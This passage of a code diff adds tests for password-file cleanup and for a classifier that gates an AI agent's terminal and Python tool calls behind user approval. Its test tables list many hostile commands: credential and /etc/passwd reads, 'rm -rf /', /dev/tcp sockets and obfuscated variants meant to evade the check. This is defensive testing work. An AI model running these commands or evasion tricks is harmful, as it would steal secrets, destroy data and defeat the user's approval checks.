+        if self == pw_path:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom)
+
+    auth_storage.clear_bootstrap_password()
+
+    assert pw_path.exists()  # unlink failed
+    assert pw_path.read_text() == ""  # but truncated -> no reusable plaintext
+
+    # The stale value must not load back (empty file -> None), so a later re-seed
+    # generates fresh rather than resurrecting the revoked credential.
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", None)
+    assert auth_storage._load_bootstrap_password() is None
+
+
+def test_clear_bootstrap_password_warns_truthfully_when_not_cleared(monkeypatch, tmp_path, capsys):
+    # If the file can be neither unlinked NOR truncated, the stale plaintext stays
+    # on disk. The warning must NOT claim it was made unreusable (Codex 3571888584):
+    # it must say it could not be cleared and ask the user to remove it manually.
+    import pathlib
+
+    pw_path = tmp_path / ".bootstrap_password"
+    pw_path.write_text("old-diceware-passphrase")
+    monkeypatch.setattr(auth_storage, "_BOOTSTRAP_PW_PATH", pw_path)
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", "old-diceware-passphrase")
+
+    _real_unlink = pathlib.Path.unlink
+    _real_write_text = pathlib.Path.write_text
+
+    def _boom_unlink(self, *a, **k):
+        if self == pw_path:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    def _boom_write_text(self, *a, **k):
+        if self == pw_path:
+            raise OSError("read-only")
+        return _real_write_text(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+    monkeypatch.setattr(pathlib.Path, "write_text", _boom_write_text)
+
+    auth_storage.clear_bootstrap_password()
+
+    # The stale plaintext survives untouched.
+    assert pw_path.read_text() == "old-diceware-passphrase"
+    warning = capsys.readouterr().err.lower()
+    assert "could not delete or clear" in warning
+    assert "still on disk" in warning
+    assert "remove it manually" in warning
+    # Must not falsely claim the contents were cleared (the bug being fixed).
+    assert "cleared its contents" not in warning
+
+
+# ── _apply_supplied_password: non-interactive initial password (direct run.py) ──
+
+
+def _seed_stub_admin(
+    monkeypatch,
+    *,
+    requires_change,
+    bootstrap_pw = "bootstrap-secret",
+):
+    """Stub storage so _apply_supplied_password sees a seeded admin whose current
+    password is ``bootstrap_pw`` and whose must-change flag is ``requires_change``;
+    return the recorded update_password calls."""
+    from auth import hashing
+
+    salt, pwd_hash = hashing.hash_password(bootstrap_pw)
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False)
+    monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change)
+    monkeypatch.setattr(
+        auth_storage, "get_user_and_secret", lambda u: (salt, pwd_hash, "jwt", requires_change)
+    )
+    calls = []
+    monkeypatch.setattr(
+        auth_storage, "update_password", lambda u, p, **kw: calls.append((u, p, kw))
+    )
+    return calls
+
+
+def test_apply_supplied_password_sets_initial(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    run._apply_supplied_password(None)  # resolves from the env var
+    admin = auth_storage.DEFAULT_ADMIN_USERNAME
+    assert calls == [(admin, "brand-new-password", {"revoke_refresh_tokens": True})]
+
+
+def test_apply_supplied_password_off_is_noop(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, raising = False)
+    run._apply_supplied_password(None)
+    run._apply_supplied_password("")
+    assert calls == []
+
+
+def test_apply_supplied_password_already_set_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = False)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []  # never overrides an existing password
+
+
+def test_apply_supplied_password_too_short_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "short")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []
+
+
+def test_apply_supplied_password_must_differ_fails_closed(monkeypatch):
+    calls = _seed_stub_admin(monkeypatch, requires_change = True, bootstrap_pw = "bootstrap-secret")
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "bootstrap-secret")
+    with pytest.raises(SystemExit) as exc:
+        run._apply_supplied_password(None)
+    assert exc.value.code == 1
+    assert calls == []
+
+
+def test_apply_supplied_password_strips_env_from_subprocess_environment(monkeypatch):
+    # The plaintext password must not linger in os.environ: run_server later spawns
+    # cloudflared/llama-server/code-exec tools that would otherwise inherit it (also
+    # readable via /proc/PID/environ). The direct-run.py path pops it itself; the CLI
+    # pops it before re-exec. Assert the pop happens on the apply path...
+    _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "brand-new-password")
+    run._apply_supplied_password(None)
+    assert terminal_prompt.SUPPLIED_PASSWORD_ENV not in run.os.environ
+
+
+def test_apply_supplied_password_strips_env_even_when_literal_wins(monkeypatch):
+    # A literal --password wins over the env var, but a stale env value would still
+    # leak to subprocesses; the unconditional pop must clear it regardless of source.
+    _seed_stub_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv(terminal_prompt.SUPPLIED_PASSWORD_ENV, "env-should-be-stripped")
+    run._apply_supplied_password("literal-new-password")
+    assert terminal_prompt.SUPPLIED_PASSWORD_ENV not in run.os.environ
diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py
new file mode 100644
index 0000000000..3b7197fc49
--- /dev/null
+++ b/studio/backend/tests/test_permission_mode.py
@@ -0,0 +1,1594 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for permission_mode ("Ask for approval" / "Approve for me" /
+"Off" / "Full access") permission levels.
+
+Covers the auto-mode safety classifier in tools.py and the loop-level
+behavior of run_safetensors_tool_loop: in "auto" mode only calls detected
+as potentially unsafe pause for confirmation, in "full" mode nothing
+pauses and the sandbox is dropped, and unset/unknown modes behave as
+"ask" (every call pauses when confirm_tool_calls is on).
+"""
+
+import os
+import uuid
+
+import pytest
+
+from core.inference.mcp_client import MCP_TOOL_PREFIX
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+from core.inference.tools import is_potentially_unsafe_tool_call
+from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+from state import tool_approvals
+from state.tool_approvals import resolve_tool_decision
+
+_SESSION = "perm-mode-session"
+
+
+@pytest.fixture(autouse = True)
+def _isolate_permission_mode_globals():
+    """Keep the loop-driving tests hermetic against process-global state that
+    leaks across the full backend suite.
+
+    ``run_safetensors_tool_loop`` reads a process-global approval registry
+    (``state.tool_approvals._pending``) and honors ``os.environ``. Other test
+    modules mutate both (module-level ``os.environ[...] = ...`` runs at import
+    time; abandoned approvals can survive a test). A stale entry keyed by the
+    shared session id, or a leaked env var, can make the loop deny or skip a
+    call that these tests expect to run, which only surfaces in the full-suite
+    ordering on CI (not when the file runs alone). Snapshot and restore both,
+    and hand every ``_drive`` call a unique session, so each test starts clean.
+    """
+    env_snapshot = dict(os.environ)
+    with tool_approvals._lock:
+        pending_snapshot = dict(tool_approvals._pending)
+        tool_approvals._pending.clear()
+    try:
+        yield
+    finally:
+        with tool_approvals._lock:
+            tool_approvals._pending.clear()
+            tool_approvals._pending.update(pending_snapshot)
+        os.environ.clear()
+        os.environ.update(env_snapshot)
+
+
+@pytest.fixture(autouse = True)
+def _clear_pending():
+    with tool_approvals._lock:
+        tool_approvals._pending.clear()
+    yield
+    with tool_approvals._lock:
+        tool_approvals._pending.clear()
+
+
+# ── classifier ──────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("command", "unsafe"),
+    [
+        ("ls -la", False),
+        ("cat foo.txt | grep hello", False),
+        ("find . -name '*.py' | head -5", False),
+        ("env FOO=1 grep -r pattern .", False),
+        ("echo hi > out.txt", True),  # write redirection
+        ("rm -rf /", True),
+        ("ls; rm x", True),  # unsafe after separator
+        ("xargs rm", True),  # xargs is not a safe wrapper: it injects stdin args
+        ("xargs sort", True),  # forwards to sort with unscanned stdin arguments
+        ("echo -o out x | xargs sort", True),  # hidden write via stdin-supplied args
+        ("find . -name '*.py' | xargs grep foo", True),  # xargs run stays gated
+        ("ionice -c 3 -p 1234", True),  # -p changes a running process's IO priority
+        ("ionice -p 1", True),
+        ("ionice -P 999", True),  # -P targets a process group
+        ("ionice -u 1000", True),  # -u targets a user's processes
+        ("ionice -c3 -p1234", True),  # attached short flags still target a process
+        ("ionice -c 3 ls", False),  # a real wrapped command stays safe
+        ("ionice -n 5 grep x .", False),  # class-data flag then wrapped read stays safe
+        ("sudo ls", True),
+        ("git push origin main", True),
+        ("pip install requests", True),
+        ("echo `whoami`", True),  # substitution fails closed
+        ("python -c 'print(1)'", True),  # arbitrary code
+        ("find . -exec rm {} ;", True),  # find can execute
+        ("find . -delete", True),  # find can delete
+        ("fd -x rm", True),  # fd runs a command per result
+        ("fd --exec-batch rm", True),
+        ("fd -e py pattern", False),  # plain fd search stays read only
+        ("sort -o out.txt in.txt", True),  # -o writes a file
+        ("sort --output=out in", True),
+        ("sort --compress-program=sh big.txt", True),  # runs an external program
+        ("sort -T ./scratch large.txt", True),  # -T writes temporaries to a chosen dir
+        ("sort --temporary-directory=./s big.txt", True),
+        ("sort in.txt", False),  # plain sort stays read only
+        ("rg --pre sh needle f.sh", True),  # rg preprocessor runs a command
+        ("rg --pre=/tmp/x needle .", True),
+        ("rg --hostname-bin /tmp/x foo .", True),
+        ("rg --pre-glob '*.txt' needle .", False),  # glob filter stays read only
+        ("rg needle .", False),  # plain rg stays read only
+        ("/tmp/cat secrets", True),  # path-qualified command is an arbitrary binary
+        ("./ls -la", True),
+        ("env /tmp/cat x", True),  # path-qualified target after a wrapper
+        ("tree -o out.txt", True),  # -o writes a file
+        ("time -o /tmp/r ls", True),  # GNU time -o truncates a file
+        ("time --output=/tmp/r ls", True),  # GNU time long output flag
+        ("command time -o/tmp/result cat /dev/null", True),  # attached, behind command
+        ("time -a log.txt ls", True),  # GNU time append flag
+        ("time ls", False),  # plain time wrapper stays safe
+        ("time -p ls", False),  # POSIX time -p (no file) stays safe
+        ("xxd -r dump.hex out.bin", True),  # -r can write
+        ("xxd input.bin dump.hex", True),  # 2nd positional is the outfile
+        ("xxd -c 16 in.bin out.hex", True),  # outfile past a numeric flag value
+        ("xxd input.bin", False),  # single positional reads to stdout
+        ("xxd -c 16 input.bin", False),  # flag value is not a second file
+        ("xxd 42 99", True),  # digit-named outfile positional still counts
+        ("xxd -s 0x10 input.bin", False),  # seek value is not a second file
+        ("awk '{print}' file", True),  # awk can system()/write
+        ("grep -o x file", False),  # grep -o is stdout only
+        ("ls\nrm -rf x", True),  # newline separates commands
+        ("ls\r\nrm x", True),  # CRLF separates commands
+        ("ls\n\n\nrm x", True),  # blank lines collapse to one separator
+        ("ls\npwd", False),  # multi-line stays safe when every line is
+        ("ls\n", False),
+        ("sort -o/tmp/out /tmp/in", True),  # attached short output flag
+        ("sort -uo out.txt in.txt", True),  # -o bundled in a short cluster
+        ("sort -bo out in", True),
+        ("sort -u in.txt", False),  # cluster without a write flag stays safe
+        ("find . \\( -name x -delete \\)", True),  # -delete inside a group
+        ("cat ../../.ssh/id_rsa", True),  # parent traversal read
+        ("cat ~/.aws/credentials", True),  # credential path
+        ("cat /home/a/.azure/msal_token_cache.json", True),  # azure token store
+        ("cat ~/.config/gh/hosts.yml", True),  # gh cli credentials
+        ("cat ~/.config/app/settings.json", False),  # ordinary config stays safe
+        ("cat /home/alice/.cache/huggingface/token", True),  # HF login token
+        ("cat ~/.cache/huggingface/stored_tokens", True),  # HF multi-token store
+        ("cat /home/alice/.huggingface/token", True),  # legacy HF token location
+        ("cat /home/alice/myhuggingface/token", False),  # unrelated dir stays safe
+        (
+            "cat /home/alice/.cache/huggingface/hub/models--x/config.json",
+            False,
+        ),  # HF model cache is not a credential
+        ("cat /run/secrets/hf_token", True),  # docker secret mount
+        ("cat /var/run/secrets/kubernetes.io/serviceaccount/token", True),  # k8s mount
+        ("cat /run/app.pid", False),  # ordinary /run file stays safe
+        ("cat /etc/passwd", True),  # sensitive system file
+        ("cat /proc/self/environ", True),  # procfs env dump
+        ("cat /proc/1/cmdline", True),
+        ("head /proc/self/maps", True),
+        ("cat /proc/self/fd/3", True),  # procfs fd symlink to an open file
+        ("cat /proc/1234/task/1234/fd/3", True),  # per-thread fd symlink
+        ("LD_PRELOAD=/tmp/hook.so ls", True),  # code-loading env prefix
+        ("PATH=. ls", True),  # command-lookup env prefix
+        ("IFS=x ls", True),
+        ("FOO=1 grep -r x .", False),  # benign env prefix stays safe
+        ("ps auxe", True),  # ps can dump process env; not on the safe list
+        ("ps aux", True),
+        ("cd /; cat etc/passwd", True),  # cd escapes the workdir
+        ("cd subdir; ls", True),  # cd is no longer auto-approved
+        ("env --chdir=/ cat etc/passwd", True),  # env -C escapes the workdir
+        ("env -S 'sh -c id' true", True),  # env --split-string builds a command
+        ("env FOO=1 grep -r x .", False),  # benign env wrapper stays safe
+        ("cat /etc//passwd", True),  # redundant slashes resolve to /etc/passwd
+        ("cat /etc/./passwd", True),
+        ("p=/etc; cat $p/passwd", True),  # path split across an assignment
+        ("d=/etc; cat ${d}/shadow", True),
+        ("FOO=1 echo $FOO", False),  # benign variable expansion stays safe
+        ("cat /proc/$PPID/enviro''n", True),  # quote-split procfs read
+        ("cat /proc/self/'environ'", True),
+        ('p="/proc/$PPID"; cat $p/environ', True),  # quoted+nested var procfs
+        ("LESSOPEN='|touch x; cat %s' less f.txt", True),  # less input preprocessor
+        ("less file.txt", True),  # less pager escapes (+cmd, !shell, -o) so it asks
+        ("less '+!touch pwned' notes.txt", True),  # less +command runs a shell command
+        ("more file.txt", True),  # more shares the !shell pager escape
+        ("cat /proc/cpuinfo", False),  # non-sensitive procfs read stays safe
+        ("cat /e??/passwd", True),  # glob expands to /etc/passwd
+        ("cat /e[t]c/passwd", True),  # bracket class hides etc
+        ("head /etc/shado?", True),
+        ("cat /et\\c/passwd", True),  # backslash escape hides /etc/passwd
+        ("cat /etc/pass\\wd", True),
+        ("ls *.py", False),  # benign glob stays safe
+        ("head data?.txt", False),
+        ("grep -R TOKEN /home", True),  # recursive search escapes the workdir
+        ("rg TOKEN /", True),
+        ("fd pattern /etc", True),
+        ("grep -r foo src/", False),  # sandbox-relative search stays safe
+        ("rg TOKEN .", False),
+        ("tree /home", True),  # always-recursive walker escapes onto host files
+        ("du /", True),  # disk-usage walk of the whole host root
+        ("du -sh /home", True),  # summarized host-home walk still recurses
+        ("ls -R /home", True),  # ls recurses with -R onto host files
+        ("ls -R /etc", True),
+        ("ls -laR /", True),  # -R inside a short cluster still recurses
+        ("tree .", False),  # cwd walk stays in the sandbox
+        ("tree ./project", False),  # relative walk stays safe
+        ("du -sh", False),  # du with no path defaults to cwd
+        ("du -sh ./build", False),  # relative disk-usage stays safe
+        ("ls -R subdir", False),  # relative recursive listing stays safe
+        ("ls -la /home", False),  # non-recursive listing of one level stays here
+        ("sort --files0-from=list.txt", True),  # reads an indirect file list
+        ("sort --files0-from list.txt", True),  # separate-value form
+        ("sort -u data.txt", False),  # ordinary sort stays read only
+        ("wc --files0-from=list", True),  # wc reads an indirect file list too
+        ("wc --files0-from list", True),
+        ("du --files0-from=list", True),  # du indirect file list
+        ("find -files0-from list", True),  # find primary reading a file list
+        ("wc file.txt", False),  # ordinary wc stays read only
+        ("wc -l data.txt", False),  # counting flag stays read only
+        ("cat logs/app.log", False),  # ordinary relative read
+        ("cat /r?n/secrets/hf_token", True),  # glob into a secret mount
+        ("cat /var/r?n/secrets/db", True),
+        ("cat /root/.s??/id_rsa", True),  # glob into a credential dir
+        ("cat ~/.huggingface/tok?n", True),  # glob resolves to a credential basename
+        ("cat proj/.netr?", True),  # glob resolves to .netrc anywhere
+        ("cat repo/.aws/cred*", True),  # glob resolves to credentials anywhere
+        ("cat backup/id_rs?", True),  # glob resolves to id_rsa anywhere
+        ("cat .e?v", True),  # glob resolves to a project .env secret
+        ("cat proj/.en?", True),  # .env anywhere via a glob
+        ("cat notes/dra?t.txt", False),  # benign globbed basename stays safe
+        ("cat data/token_counts.tx?", False),  # 'token' prefix basename stays safe
+        ("ls /home/*/projects", False),  # benign glob not into a cred dir
+        ("grep -R TOKEN ~root", True),  # tilde-user recursive root escapes
+        ("grep -R TOKEN ~/logs", True),  # tilde-home recursive root escapes
+        ("cat /etc/pass{w,}d", True),  # brace expansion builds /etc/passwd
+        ("cat report{1,2}.txt", False),  # benign brace stays safe
+        ("cat /e{t,}c/pass?d", True),  # brace-expanded candidate then a glob resolves it
+        ("cat /et{c,}/pass?d", True),  # brace + glob in the tail
+        ("cat repo/d{1,2}/f?.txt", False),  # benign brace + glob stays safe
+        ("cat /etc/pass${x:-wd}", True),  # default param expansion builds path
+        ("cat /etc/pass${x:=wd}", True),
+        ("echo ${x:-hello}", False),  # benign default param stays safe
+        ("cat </e??/passwd", True),  # redirection prefix hides the glob
+        ("cat <../../notes", True),  # redirection with no space escapes workdir
+        ("cat notes.txt", False),  # ordinary read stays safe
+        ("p=/; grep -R TOKEN $p", True),  # recursive root hidden in an assignment
+        ("p=/home; grep -R TOKEN $p", True),
+        ("p=src; grep -R TOKEN $p", False),  # relative assigned root stays safe
+        ("cat /etc/pass{w..w}d", True),  # sequence brace builds /etc/passwd
+        ("cat /etc/pass{v..x}d", True),  # sequence brace range spans passwd
+        ("cat file{1..3}.txt", False),  # benign sequence brace stays safe
+        ("p=passwd; cat /etc/${p:0:6}", True),  # substring expansion builds path
+        ("p=hello; cat notes/${p:0:3}", False),  # benign substring stays safe
+        ("cat $'/etc/pass\\x77d'", True),  # ANSI-C escape hides /etc/passwd
+        ("cat $'notes.txt'", False),  # benign ANSI-C quote stays safe
+        ("cat /home/*/.az?re/msal_token_cache.json", True),  # azure token glob
+        ("cat /home/*/.config/g?/hosts.yml", True),  # gh config glob
+        ("cat /home/*/projects/readme", False),  # benign home glob stays safe
+        ("cat /proc/$PPID/task/$PPID/environ", True),  # per-thread proc env alias
+        ("cat /proc/cpuinfo", False),  # non-sensitive proc read stays safe
+        ("grep -R TOKEN ${root:-/home}", True),  # default-param recursive root
+        ("grep -R TOKEN ${root:-src}", False),  # relative default root stays safe
+        ("p=passXd; cat /etc/${p/X/w}", True),  # pattern replacement builds path
+        ("p=passXd; cat /etc/${p//X/w}", True),  # global pattern replacement
+        ("p=hello; cat notes/${p/l/L}", False),  # benign replacement stays safe
+        ("p=PASSWD; cat /etc/${p,,}", True),  # case-lower expansion builds path
+        ("p=hello; cat notes/${p,,}", False),  # benign case expansion stays safe
+        ("f=-delete; find . $f", True),  # find action hidden behind an assignment
+        ("g=e??; cat /$g/passwd", True),  # glob assembled through an assignment
+        ("g=abc; cat /$g/readme", False),  # benign assigned path stays safe
+        ("cat /etc/pass[[:lower:]]d", True),  # POSIX class glob builds /etc/passwd
+        ("x=passwd; p=x; cat /etc/${!p}", True),  # indirect expansion builds path
+        ("x=notes; p=x; cat /home/${!p}", False),  # benign indirect expansion stays safe
+        ("cat </dev/tcp/example.com/80", True),  # bash /dev/tcp opens a socket
+        ("cat < /dev/udp/1.2.3.4/53", True),  # bash /dev/udp opens a socket
+        ("cat /dev/null", False),  # ordinary /dev file stays safe
+        ("cat /etc/ssh/ssh_host_ed25519_key", True),  # ssh host private key read
+        ("cat /etc/ssh/sshd_config", True),  # whole /etc/ssh dir is sensitive
+        ("cat /etc/hostname", False),  # non-key /etc read stays safe
+        ("sort --out=/tmp/o in", True),  # abbreviated --output writes a file
+        ("env --ch=/ cat etc/passwd", True),  # abbreviated --chdir escapes workdir
+        ("sort --check in", False),  # benign abbreviation-free long flag stays safe
+        ("printf -v PATH %s .; ls", True),  # printf -v rewrites PATH then runs ./ls
+        ("printf 'hello %s' world", False),  # ordinary printf stays safe
+        ("fd --base-directory=/ passwd etc", True),  # fd root move escapes workdir
+        ("fd --search-path=/etc passwd", True),  # fd search-path escapes workdir
+        ("fd --base-dir=/ passwd etc", True),  # abbreviated fd root flag too
+        ("fd passwd", False),  # in-workdir fd search stays safe
+        ("uniq input.txt output.txt", True),  # second positional is a written OUTPUT
+        ("uniq -f 2 in out", True),  # numeric flag value skipped, two file positionals
+        ("uniq input.txt", False),  # single positional reads to stdout, stays safe
+        ("uniq 123 out.txt", True),  # digit-named INPUT still leaves out.txt as the 2nd file
+        ("uniq 123", False),  # a single digit-named input reads to stdout, stays safe
+        ("uniq --skip-fields=2 input.txt", False),  # attached flag value, single file
+        ("sort a.txt | uniq -c", False),  # piped uniq with no output file stays safe
+        ("hostname new-name", True),  # a positional sets the hostname
+        ("hostname -F /etc/hn", True),  # -F/--file sets the hostname from a file
+        ("hostname", False),  # bare hostname reads
+        ("hostname -f", False),  # -f prints the FQDN, stays read-only
+        ("hostname -I", False),  # -I prints IPs, stays read-only
+        ("date -s tomorrow", True),  # -s sets the system clock
+        ("date --set='2020-01-01'", True),  # --set sets the clock
+        ("date 010100002020", True),  # a bare positional is the clock-setting form
+        ("date", False),  # bare date reads
+        ("date +%Y-%m-%d", False),  # a +FORMAT display token stays read-only
+        ("date -u +%s", False),  # -u display flag with a +FORMAT stays safe
+        ("date -d tomorrow", False),  # -d STRING only displays the given date
+        ("date -d yesterday +%Y", False),  # -d value skipped, +FORMAT display stays safe
+        ("date -r file.txt", False),  # -r FILE displays a file's mtime, read-only
+        ("file -C -m mymagic", True),  # file -C compiles a magic database (writes .mgc)
+        ("file --compile -m mymagic", True),  # long form of the compile flag
+        ("file report.txt", False),  # plain file identification stays read-only
+        ("sha256sum -c manifest", True),  # -c reads an arbitrary checklist of paths
+        ("md5sum --check list", True),  # --check reads the listed files
+        ("shasum -c manifest", True),  # shasum verify mode reads the checklist
+        ("sha256sum data.bin", False),  # hashing a named file stays read-only
+        ("md5sum file.txt", False),  # plain digest of a file stays read-only
+    ],
+)
+def test_terminal_classifier(command, unsafe):
+    assert is_potentially_unsafe_tool_call("terminal", {"command": command}) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("code", "unsafe"),
+    [
+        ("print(1+1)", False),
+        ("import math\nprint(math.pi)", False),
+        ("print(open('x.txt').read())", False),  # read-mode open
+        ("open('x.txt', 'w').write('hi')", True),
+        ("import shutil; shutil.rmtree('x')", True),
+        ("import os; os.remove('x')", True),
+        ("import requests", True),  # network module
+        ("exec('print(1)')", True),
+        ("from os import remove\nremove('x')", True),  # from-import binding
+        ("from os import remove as rm\nrm('x')", True),
+        ("from os import *", True),  # star import hides anything
+        ("import os\nprint(os.getcwd())", False),  # read-only os use
+        ("f = os.remove\nf('x')", True),  # indirect reference
+        ("import os\nrm = os.remove\nrm('x')", True),  # alias assignment
+        ("from pathlib import Path\nPath('x').open('w')", True),  # Path.open mode
+        ("from pathlib import Path\nprint(Path('x').open().read())", False),
+        ("import zipfile\nprint(zipfile.ZipFile('a').open('n.txt'))", False),
+        ("print(open('../../.ssh/id_rsa').read())", True),  # traversal read
+        ("print(open('creds.env').read())", True),  # credential file
+        ("import os\nos.open('data.txt', os.O_CREAT)", True),  # os.open writes fd
+        ("import tempfile\ntempfile.mkstemp()", True),  # tempfile side effects
+        ("getattr(os, 'remove')('x')", True),  # dynamic call target
+        ("import os as o\no.open('out.txt', o.O_CREAT)", True),  # os.open via alias
+        ("from os import open as o, O_CREAT\no('out', O_CREAT)", True),  # os.open bare name
+        ("from pathlib import Path\nPath('l').symlink_to('t')", True),  # pathlib link
+        ("import importlib\nimportlib.import_module('subprocess')", True),  # dynamic import
+        ("import os\nos.mkfifo('p')", True),  # node creation
+        ("import os\nos.utime('x', None)", True),  # metadata mutation
+        ("f = open\nf('x', 'w')", True),  # builtin open aliased to a name
+        ("from builtins import open as w\nw('x', 'w')", True),
+        ("globals()['open']('x', 'w')", True),  # dynamic open lookup
+        ("import pickle\npickle.loads(b'')", True),  # code exec on load
+        ("import io\nio.FileIO('out', 'w')", True),  # raw write handle
+        (
+            "import zipfile\nprint(zipfile.ZipFile('a').open('n.txt', 'r'))",
+            False,
+        ),  # explicit read mode
+        ("f, _ = (open, print)\nf('out', 'w')", True),  # destructured open alias
+        ("import builtins\nbuiltins.exec('x=1')", True),  # attribute exec
+        ("import builtins as b\nb.eval('1')", True),
+        ("import re\nre.compile('x')", False),  # re.compile is not eval/exec
+        ("import os\nopen(os.path.join('/etc', 'passwd')).read()", True),  # composed path
+        ("open('/etc' + '/passwd').read()", True),  # concatenated path
+        ("import zipfile\nzipfile.ZipFile('o.zip', 'w').writestr('x', 'y')", True),  # zip write
+        ("import zipfile\nzipfile.ZipFile('o.zip', mode='a')", True),
+        ("import zipfile\nzipfile.ZipFile('a.zip').read('n')", False),  # zip read stays safe
+        ("import os\nopen(f'/proc/{os.getppid()}/environ').read()", True),  # f-string procfs
+        ("import os\nos.chdir('/')\nprint(open('etc/passwd').read())", True),  # chdir escape
+        (
+            "from pathlib import Path\nprint((Path('/etc') / 'passwd').read_text())",
+            True,
+        ),  # pathlib /
+        (
+            "from pathlib import Path\nprint((Path('a') / 'b.txt').read_text())",
+            False,
+        ),  # relative stays safe
+        ("import runpy\nrunpy.run_path('s.py')", True),  # runpy runs code
+        ("from runpy import run_module\nrun_module('m')", True),
+        ("import os\nrm = getattr(os, 'remove')\nrm('f')", True),  # getattr alias call
+        ("x = getattr(obj, 'name')\nprint(x)", False),  # getattr result not called
+        ("__builtins__.exec('x=1')", True),  # __builtins__ dynamic exec
+        ("f = globals()['open']\nf('out', 'w')", True),  # subscript alias write
+        (
+            "f = __builtins__.__dict__.get('open')\nf('out', 'w').write('x')",
+            True,
+        ),  # namespace .get lookup returns open
+        ("g = globals().get('open')\ng('out', 'w')", True),  # globals().get alias
+        ("e = vars(__builtins__).get('eval')\ne('1')", True),  # vars().get returns eval
+        ("d = {}\nd.get('x')", False),  # ordinary dict .get stays safe
+        (
+            "import os\nos.environ.get('PATH')",
+            False,
+        ),  # os.environ.get is not a dynamic namespace
+        (
+            "box.f = open\nbox.f('out.txt', 'w').write('x')",
+            True,
+        ),  # open bound onto an attribute then called
+        ("box.f = len\nbox.f([])", False),  # a benign attribute-bound callable stays safe
+        (
+            "open.__call__('out.txt', 'w').write('x')",
+            True,
+        ),  # open invoked via .__call__ still writes
+        ("print.__call__('x')", False),  # a benign .__call__ stays safe
+        ("import builtins\nf = builtins.open\nf('out', 'w')", True),  # attribute alias write
+        ("open('out', **{'mode': 'w'}).write('x')", True),  # kwargs splat mode
+        ("name = 'passwd'\nopen(f'/etc/{name}').read()", True),  # dynamic /etc segment
+        ("import os\nopen(os.path.join('/etc', name)).read()", True),  # composed dynamic seg
+        ("open(f'/tmp/{name}.txt').read()", False),  # dynamic seg under /tmp stays safe
+        ("import pathlib\n(pathlib.Path('/etc') / name).read_text()", True),  # qualified pathlib
+        ("import pathlib\n(pathlib.Path('data') / name).read_text()", False),  # relative stays safe
+        ("f: object = open\nf('out', 'w').write('x')", True),  # annotated open alias
+        ("import urllib3\nurllib3.PoolManager().request('GET', 'http://x')", True),  # network
+        ("import dbm\ndbm.open('cache', 'c')", True),  # dbm create flag writes
+        ("import dbm\ndbm.open('cache')", True),  # dbm import itself signals writes
+        (
+            "import sqlite3\nsqlite3.connect('results.db').execute('create table t(x)')",
+            True,
+        ),  # sqlite3 db write
+        ("import sqlite3\nsqlite3.connect('data.db')", True),  # sqlite3 connect creates the file
+        ("import posix as p\np.open('out', 64)", True),  # posix.open via module alias
+        ("import os as o\nprint(o.getcwd())", False),  # read-only os-alias use stays safe
+        ("model.save_pretrained('out')", True),  # transformers/peft persistence helper
+        (
+            "from safetensors.torch import save_file\nsave_file(sd, 'o.safetensors')",
+            True,
+        ),  # bare imported save_file writer
+        ("st.save_file(sd, 'o.safetensors')", True),  # safetensors save_file method
+        ("print(model.state_dict())", False),  # non-persisting call stays safe
+        (
+            "from pathlib import Path\nopen(next(Path('/etc').glob('passw?'))).read()",
+            True,
+        ),  # pathlib glob receiver+pattern resolves to /etc/passwd
+        (
+            "from pathlib import Path\nfor p in Path('/etc').iterdir():\n    pass",
+            True,
+        ),  # enumerating an absolute system dir
+        ("import os\nos.scandir('/etc')", True),  # os.scandir over a sensitive root
+        ("import os\nos.listdir('/home')", True),  # os.listdir over a host dir
+        ("import os\nlist(os.walk('/'))", True),  # os.walk over the filesystem root
+        (
+            "from pathlib import Path\nlist(Path('.').iterdir())",
+            False,
+        ),  # relative dir enumeration stays safe
+        ("import os\nos.scandir('data')", False),  # relative scandir stays safe
+        ("import os\nos.listdir('subdir')", False),  # relative listdir stays safe
+        (
+            "from pathlib import Path\nfor f in Path('data').glob('*.py'):\n    print(f)",
+            False,
+        ),  # benign pathlib glob stays safe
+        (
+            "from pathlib import Path\nlist(Path('/home').glob('*'))",
+            True,
+        ),  # globbing an absolute root enumerates host filenames
+        (
+            "from pathlib import Path\nlist(Path('/etc').rglob('*'))",
+            True,
+        ),  # recursive glob over a system dir
+        ("import glob\nglob.glob('/home/*')", True),  # glob.glob pattern rooted absolute
+        (
+            "from pathlib import Path\nlist(Path('~').expanduser().glob('*'))",
+            True,
+        ),  # glob over the home directory
+        ("import glob\nglob.glob('src/*.py')", False),  # relative glob pattern stays safe
+        (
+            "import os\nbase = os.path.abspath('/etc')\nopen(base + '/passwd').read()",
+            True,
+        ),  # abspath keeps the sensitive root
+        (
